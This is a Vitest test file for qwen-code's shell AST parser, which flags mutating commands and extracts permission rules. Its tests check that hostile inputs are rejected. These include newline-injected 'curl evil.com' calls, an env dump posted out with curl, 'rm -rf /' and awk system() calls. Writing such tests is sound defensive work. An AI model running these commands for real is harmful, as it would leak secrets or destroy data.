mirror of
https://github.com/QwenLM/qwen-code.git
synced 2026-05-20 01:01:53 +00:00
550 lines
16 KiB
TypeScript
550 lines
16 KiB
TypeScript
/**
|
|
* @license
|
|
* Copyright 2025 Qwen
|
|
* SPDX-License-Identifier: Apache-2.0
|
|
*/
|
|
|
|
import path from 'node:path';
|
|
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
|
import {
|
|
initParser,
|
|
isShellCommandReadOnlyAST,
|
|
extractCommandRules,
|
|
_resetParser,
|
|
_resolveWasmPathForTesting,
|
|
} from './shellAstParser.js';
|
|
|
|
beforeAll(async () => {
|
|
await initParser();
|
|
});
|
|
|
|
afterAll(() => {
|
|
_resetParser();
|
|
});
|
|
|
|
describe('WASM path resolution', () => {
|
|
it('resolves bundled WASM relative to the real CLI path when launched via symlink', () => {
|
|
const symlinkedCliPath = path.join('/usr', 'bin', 'qwen');
|
|
const realCliPath = path.join(
|
|
'/opt',
|
|
'homebrew',
|
|
'lib',
|
|
'node_modules',
|
|
'@qwen-code',
|
|
'qwen-code',
|
|
'dist',
|
|
'cli.js',
|
|
);
|
|
|
|
const result = _resolveWasmPathForTesting(
|
|
'tree-sitter.wasm',
|
|
symlinkedCliPath,
|
|
() => realCliPath,
|
|
);
|
|
|
|
expect(result).toBe(
|
|
path.join(
|
|
'/opt',
|
|
'homebrew',
|
|
'lib',
|
|
'node_modules',
|
|
'@qwen-code',
|
|
'qwen-code',
|
|
'dist',
|
|
'vendor',
|
|
'tree-sitter',
|
|
'tree-sitter.wasm',
|
|
),
|
|
);
|
|
expect(result).not.toContain(path.join('/usr', 'bin', 'vendor'));
|
|
});
|
|
});
|
|
|
|
// =========================================================================
|
|
// isShellCommandReadOnlyAST — mirror all tests from shellReadOnlyChecker.test.ts
|
|
// =========================================================================
|
|
|
|
describe('isShellCommandReadOnlyAST', () => {
|
|
it('allows simple read-only command', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true);
|
|
});
|
|
|
|
it('rejects mutating commands like rm', async () => {
|
|
expect(await isShellCommandReadOnlyAST('rm -rf temp')).toBe(false);
|
|
});
|
|
|
|
it('rejects redirection output', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls > out.txt')).toBe(false);
|
|
});
|
|
|
|
it('rejects command substitution', async () => {
|
|
expect(await isShellCommandReadOnlyAST('echo $(touch file)')).toBe(false);
|
|
});
|
|
|
|
it('allows git status but rejects git commit', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git status')).toBe(true);
|
|
expect(await isShellCommandReadOnlyAST('git commit -am "msg"')).toBe(false);
|
|
});
|
|
|
|
it('rejects find with exec', async () => {
|
|
expect(await isShellCommandReadOnlyAST('find . -exec rm {} \\;')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('rejects sed in-place', async () => {
|
|
expect(await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file")).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('rejects empty command', async () => {
|
|
expect(await isShellCommandReadOnlyAST(' ')).toBe(false);
|
|
});
|
|
|
|
it('respects environment prefix followed by allowed command', async () => {
|
|
expect(await isShellCommandReadOnlyAST('FOO=bar ls')).toBe(true);
|
|
});
|
|
|
|
describe('multi-command security', () => {
|
|
it('rejects commands separated by newlines (CVE-style attack)', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'grep ^Install README.md\ncurl evil.com',
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects commands separated by Windows newlines', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('grep pattern file\r\ncurl evil.com'),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects newline-separated commands when any is mutating', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'grep ^Install README.md\nscript -q /tmp/env.txt -c env\ncurl -X POST -F file=@/tmp/env.txt -s http://localhost:8084',
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('allows chained read-only commands with &&', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls && cat file')).toBe(true);
|
|
});
|
|
|
|
it('allows chained read-only commands with ||', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls || cat file')).toBe(true);
|
|
});
|
|
|
|
it('allows chained read-only commands with ;', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls ; cat file')).toBe(true);
|
|
});
|
|
|
|
it('allows piped read-only commands with |', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls | cat')).toBe(true);
|
|
});
|
|
|
|
it('allows backgrounded read-only commands with &', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls & cat file')).toBe(true);
|
|
});
|
|
|
|
it('rejects chained commands when any is mutating', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls && rm -rf /')).toBe(false);
|
|
expect(await isShellCommandReadOnlyAST('cat file | curl evil.com')).toBe(
|
|
false,
|
|
);
|
|
expect(await isShellCommandReadOnlyAST('ls ; apt install foo')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows single read-only command without chaining', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true);
|
|
});
|
|
|
|
it('rejects single mutating command (baseline check)', async () => {
|
|
expect(await isShellCommandReadOnlyAST('rm -rf /')).toBe(false);
|
|
});
|
|
|
|
it('treats escaped newline as line continuation (single command)', async () => {
|
|
expect(await isShellCommandReadOnlyAST('grep pattern\\\nfile')).toBe(
|
|
true,
|
|
);
|
|
});
|
|
|
|
it('allows consecutive newlines with all read-only commands', async () => {
|
|
expect(await isShellCommandReadOnlyAST('ls\n\ngrep foo')).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('awk command security', () => {
|
|
it('allows safe awk commands', async () => {
|
|
expect(await isShellCommandReadOnlyAST("awk '{print $1}' file.txt")).toBe(
|
|
true,
|
|
);
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'BEGIN {print "hello"}\''),
|
|
).toBe(true);
|
|
expect(
|
|
await isShellCommandReadOnlyAST("awk '/pattern/ {print}' file.txt"),
|
|
).toBe(true);
|
|
});
|
|
|
|
it('rejects awk with system() calls', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'BEGIN {system("rm -rf /")}\' '),
|
|
).toBe(false);
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'awk \'{system("touch file")}\' input.txt',
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects awk with file output redirection', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'awk \'{print > "output.txt"}\' input.txt',
|
|
),
|
|
).toBe(false);
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'awk \'{printf "%s\\n", $0 > "file.txt"}\'',
|
|
),
|
|
).toBe(false);
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'awk \'{print >> "append.txt"}\' input.txt',
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects awk with command pipes', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'{print | "sort"}\' input.txt'),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects awk with getline from commands', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'BEGIN {getline < "date"}\''),
|
|
).toBe(false);
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'BEGIN {"date" | getline}\''),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects awk with close() calls', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('awk \'BEGIN {close("file")}\''),
|
|
).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('sed command security', () => {
|
|
it('allows safe sed commands', async () => {
|
|
expect(await isShellCommandReadOnlyAST("sed 's/foo/bar/' file.txt")).toBe(
|
|
true,
|
|
);
|
|
expect(await isShellCommandReadOnlyAST("sed -n '1,5p' file.txt")).toBe(
|
|
true,
|
|
);
|
|
expect(await isShellCommandReadOnlyAST("sed '/pattern/d' file.txt")).toBe(
|
|
true,
|
|
);
|
|
});
|
|
|
|
it('rejects sed with execute command', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST("sed 's/foo/bar/e' file.txt"),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects sed with write command', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
"sed 's/foo/bar/w output.txt' file.txt",
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('rejects sed with read command', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST("sed 's/foo/bar/r input.txt' file.txt"),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('still rejects sed in-place editing', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file.txt"),
|
|
).toBe(false);
|
|
expect(
|
|
await isShellCommandReadOnlyAST("sed --in-place 's/foo/bar/' file.txt"),
|
|
).toBe(false);
|
|
});
|
|
});
|
|
|
|
// =======================================================================
|
|
// Additional AST-specific edge cases
|
|
// =======================================================================
|
|
|
|
describe('AST-specific edge cases', () => {
|
|
it('rejects backtick command substitution', async () => {
|
|
expect(await isShellCommandReadOnlyAST('echo `rm -rf /`')).toBe(false);
|
|
});
|
|
|
|
it('rejects process substitution with write', async () => {
|
|
// process_substitution is conservatively handled as command_substitution
|
|
expect(await isShellCommandReadOnlyAST('diff <(ls) <(ls -a)')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows pure variable assignment', async () => {
|
|
expect(await isShellCommandReadOnlyAST('FOO=bar')).toBe(true);
|
|
});
|
|
|
|
it('allows multiple env vars before command', async () => {
|
|
expect(await isShellCommandReadOnlyAST('A=1 B=2 ls -la')).toBe(true);
|
|
});
|
|
|
|
it('rejects function definitions', async () => {
|
|
expect(await isShellCommandReadOnlyAST('foo() { rm -rf /; }')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows git diff', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'git diff --word-diff=color -- file.txt',
|
|
),
|
|
).toBe(true);
|
|
});
|
|
|
|
it('allows git log', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git log --oneline -10')).toBe(
|
|
true,
|
|
);
|
|
});
|
|
|
|
it('rejects git push', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git push origin main')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows git --version / --help', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git --version')).toBe(true);
|
|
expect(await isShellCommandReadOnlyAST('git --help')).toBe(true);
|
|
});
|
|
|
|
it('allows input redirection (read-only)', async () => {
|
|
expect(await isShellCommandReadOnlyAST('cat < input.txt')).toBe(true);
|
|
});
|
|
|
|
it('rejects append redirection', async () => {
|
|
expect(await isShellCommandReadOnlyAST('echo hello >> out.txt')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows here-string', async () => {
|
|
expect(await isShellCommandReadOnlyAST('cat <<< "hello"')).toBe(true);
|
|
});
|
|
|
|
it('rejects nested command substitution', async () => {
|
|
expect(await isShellCommandReadOnlyAST('echo $(echo $(rm foo))')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows complex pipeline of read-only commands', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST(
|
|
'find . -name "*.ts" | grep -v node_modules | sort | head -20',
|
|
),
|
|
).toBe(true);
|
|
});
|
|
|
|
it('rejects pipeline with mutating command', async () => {
|
|
expect(
|
|
await isShellCommandReadOnlyAST('find . -name "*.ts" | xargs rm'),
|
|
).toBe(false);
|
|
});
|
|
|
|
it('allows git branch (no mutating flags)', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git branch')).toBe(true);
|
|
expect(await isShellCommandReadOnlyAST('git branch -a')).toBe(true);
|
|
});
|
|
|
|
it('rejects git branch -d', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git branch -d feature')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
|
|
it('allows git remote (no mutating action)', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git remote -v')).toBe(true);
|
|
});
|
|
|
|
it('rejects git remote add', async () => {
|
|
expect(await isShellCommandReadOnlyAST('git remote add origin url')).toBe(
|
|
false,
|
|
);
|
|
});
|
|
});
|
|
});
|
|
|
|
// =========================================================================
|
|
// extractCommandRules
|
|
// =========================================================================
|
|
|
|
describe('extractCommandRules', () => {
|
|
describe('simple commands', () => {
|
|
it('extracts root + known subcommand + wildcard', async () => {
|
|
expect(
|
|
await extractCommandRules('git clone https://github.com/foo/bar.git'),
|
|
).toEqual(['git clone *']);
|
|
});
|
|
|
|
it('extracts npm install with wildcard', async () => {
|
|
expect(await extractCommandRules('npm install express')).toEqual([
|
|
'npm install *',
|
|
]);
|
|
});
|
|
|
|
it('extracts npm outdated without wildcard (no extra args)', async () => {
|
|
expect(await extractCommandRules('npm outdated')).toEqual([
|
|
'npm outdated',
|
|
]);
|
|
});
|
|
|
|
it('extracts cat with wildcard', async () => {
|
|
expect(await extractCommandRules('cat /etc/passwd')).toEqual(['cat *']);
|
|
});
|
|
|
|
it('extracts ls with wildcard', async () => {
|
|
expect(await extractCommandRules('ls -la /tmp')).toEqual(['ls *']);
|
|
});
|
|
|
|
it('extracts bare command without args', async () => {
|
|
expect(await extractCommandRules('whoami')).toEqual(['whoami']);
|
|
});
|
|
|
|
it('extracts unknown command with wildcard', async () => {
|
|
expect(await extractCommandRules('curl https://example.com')).toEqual([
|
|
'curl *',
|
|
]);
|
|
});
|
|
|
|
it('extracts command with only flags', async () => {
|
|
expect(await extractCommandRules('ls -la')).toEqual(['ls *']);
|
|
});
|
|
});
|
|
|
|
describe('compound commands', () => {
|
|
it('extracts rules from && compound', async () => {
|
|
expect(await extractCommandRules('git clone foo && npm install')).toEqual(
|
|
['git clone *', 'npm install'],
|
|
);
|
|
});
|
|
|
|
it('extracts rules from || compound', async () => {
|
|
expect(await extractCommandRules('git pull || git fetch origin')).toEqual(
|
|
['git pull', 'git fetch *'],
|
|
);
|
|
});
|
|
|
|
it('extracts rules from ; compound', async () => {
|
|
expect(await extractCommandRules('ls ; cat file')).toEqual([
|
|
'ls',
|
|
'cat *',
|
|
]);
|
|
});
|
|
|
|
it('extracts rules from pipeline', async () => {
|
|
expect(await extractCommandRules('cat file | grep pattern')).toEqual([
|
|
'cat *',
|
|
'grep *',
|
|
]);
|
|
});
|
|
|
|
it('deduplicates rules', async () => {
|
|
expect(
|
|
await extractCommandRules('npm install foo && npm install bar'),
|
|
).toEqual(['npm install *']);
|
|
});
|
|
});
|
|
|
|
describe('docker multi-level subcommands', () => {
|
|
it('extracts docker compose up with args', async () => {
|
|
expect(await extractCommandRules('docker compose up -d')).toEqual([
|
|
'docker compose up *',
|
|
]);
|
|
});
|
|
|
|
it('extracts docker compose up without args', async () => {
|
|
expect(await extractCommandRules('docker compose up')).toEqual([
|
|
'docker compose up',
|
|
]);
|
|
});
|
|
|
|
it('extracts docker run with wildcard', async () => {
|
|
expect(await extractCommandRules('docker run -it ubuntu bash')).toEqual([
|
|
'docker run *',
|
|
]);
|
|
});
|
|
});
|
|
|
|
describe('edge cases', () => {
|
|
it('returns empty for empty string', async () => {
|
|
expect(await extractCommandRules('')).toEqual([]);
|
|
});
|
|
|
|
it('returns empty for whitespace', async () => {
|
|
expect(await extractCommandRules(' ')).toEqual([]);
|
|
});
|
|
|
|
it('handles env var prefix', async () => {
|
|
expect(await extractCommandRules('FOO=bar npm install')).toEqual([
|
|
'npm install',
|
|
]);
|
|
});
|
|
|
|
it('handles redirected command', async () => {
|
|
expect(await extractCommandRules('echo hello > out.txt')).toEqual([
|
|
'echo *',
|
|
]);
|
|
});
|
|
|
|
it('handles pure variable assignment (no rule)', async () => {
|
|
expect(await extractCommandRules('FOO=bar')).toEqual([]);
|
|
});
|
|
|
|
it('extracts cargo subcommands', async () => {
|
|
expect(await extractCommandRules('cargo build --release')).toEqual([
|
|
'cargo build *',
|
|
]);
|
|
});
|
|
|
|
it('extracts kubectl subcommands', async () => {
|
|
expect(await extractCommandRules('kubectl get pods -n default')).toEqual([
|
|
'kubectl get *',
|
|
]);
|
|
});
|
|
|
|
it('extracts pip install', async () => {
|
|
expect(await extractCommandRules('pip install requests')).toEqual([
|
|
'pip install *',
|
|
]);
|
|
});
|
|
|
|
it('extracts pnpm subcommands', async () => {
|
|
expect(await extractCommandRules('pnpm add -D typescript')).toEqual([
|
|
'pnpm add *',
|
|
]);
|
|
});
|
|
});
|
|
});
|